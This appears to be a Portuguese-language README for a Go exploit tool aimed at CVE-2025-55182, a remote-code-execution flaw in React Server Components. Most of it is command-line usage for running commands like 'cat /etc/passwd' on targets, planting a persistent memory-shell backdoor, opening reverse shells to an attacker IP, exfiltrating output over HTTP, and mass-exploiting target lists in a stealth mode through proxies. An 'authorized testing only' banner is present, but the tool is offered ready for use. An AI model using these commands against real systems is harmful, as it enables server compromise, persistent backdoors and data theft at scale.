Prova de conceito baseada em Go para CVE-2025-55182, um RCE crítico no React Server Components. Inclui verificação de vulnerabilidade, execução de comandos, injeção de shell na memória, shell reverso, escaneamento em lote e suporte a proxy para testes de segurança autorizados.
⚠️ APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS ⚠️
CVE-2025-55182 (também conhecida como CVE-2025-66478) é uma vulnerabilidade crítica de Execução Remota de Código em React Server Components (protocolo Flight). Esta ferramenta é uma implementação em Go do PoC para pesquisa de segurança e testes de penetração autorizados.
Versões afetadas:
O exploit aproveita a poluição de protótipo na desserialização do protocolo Flight:
$@ para obter uma referência a um ChunkChunk.prototype.then como a propriedade then do objeto raizRESOLVED_MODEL para chamar initializeModelChunk com um chunk falso controladoresponse._formData.get com o payload do atacanteresponse._formData.get como o construtor Function para execução arbitrária de código/exec?cmd=Baixe a última versão para sua plataforma em GitHub Releases.
Binários disponíveis:
# Clonar repositório
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Compilar para a plataforma atual
go build -o cve-2025-55182 .
# Ou compilar para todas as plataformas
chmod +x build.sh
./build.sh
Após executar ./build.sh, os binários estarão disponíveis no diretório build/ para todas as plataformas suportadas.
# Verificar vulnerabilidade em um único alvo
./cve-2025-55182 -u http://target:3000 --check
# Detectar versão do Next.js
./cve-2025-55182 -u http://target:3000 --version-check
# Executar comando com saída
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Injeta memory shell (verifica se já está instalado primeiro)
./cve-2025-55182 -u http://target:3000 --memshell
# Testa se o memory shell está ativo
./cve-2025-55182 -u http://target:3000 --test-shell
# Executa comando via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# Após a injeção, também é possível usar curl diretamente:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Adicionar cabeçalhos personalizados (pode ser usado várias vezes)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Ignorar verificação de certificado SSL (para certificados auto-assinados)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combinar com outras opções
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 com autenticação
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 sem autenticação
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# Proxy SOCKS4
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# Proxy HTTP
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Verificação em lote a partir de arquivo
./cve-2025-55182 --urls targets.txt --check
# Varredura em lote com saída JSON
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Varredura em lote com múltiplas threads e modo furtivo
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Salvar alvos vulneráveis em arquivo
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Injeção de memory shell em lote
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Execução de comando em lote
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, funciona no Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Iniciar ouvinte na máquina do atacante primeiro:
nc -lvnp 4444
# Exfiltrar saída do comando via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Iniciar ouvinte: nc -lvnp 4444
| Opção | Descrição |
|---|---|
-u, --url | URL do alvo (ex.: http://localhost:3000) |
-f, --file | Arquivo contendo URLs de alvos (um por linha) |
--urls | Alias para -f/--file |
-o, --output | Arquivo de saída para alvos vulneráveis |
--json | Saída dos resultados no formato JSON |
-c, --command | Comando a executar (com saída) |
--check | Verificar vulnerabilidade |
--version-check | Detectar versão do Next.js |
--proxy | URL do proxy (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | Cabeçalho personalizado (pode ser usado várias vezes) |
-k, --insecure | Ignorar verificação de certificado SSL/TLS |
--stealth | Modo furtivo: browser, crawler, security (padrão: browser) |
--delay | Atraso entre requisições (ex.: 2s, 500ms) |
--variants | Usar múltiplas variantes de payload para verificação completa |
--memshell | Injetar memory shell (backdoor persistente) |
--test-shell | Testar se o memory shell está ativo |
--shell-exec | Executar comando via memory shell |
--revshell IP PORTA | Estabelecer reverse shell |
--exfil CMD IP PORTA | Executar comando e fazer POST da saída |
-t, --timeout | Timeout da requisição em segundos (padrão: 15) |
--threads | Número de threads concorrentes (padrão: 10) |
--workers | Alias para --threads |
--nocolor | Desabilitar saída colorida (para Windows/pipes) |
-h, --help | Mostrar mensagem de ajuda |
-v, --version | Mostrar versão |
socks5://user:pass@ip:port - SOCKS5 com autenticação
socks5://ip:port - SOCKS5 sem autenticação
socks5h://ip:port - SOCKS5 com resolução DNS remota
socks4://ip:port - Proxy SOCKS4
socks4a://ip:port - Proxy SOCKS4a
http://user:pass@ip:port - Proxy HTTP com autenticação
http://ip:port - Proxy HTTP sem autenticação
https://ip:port - Proxy HTTPS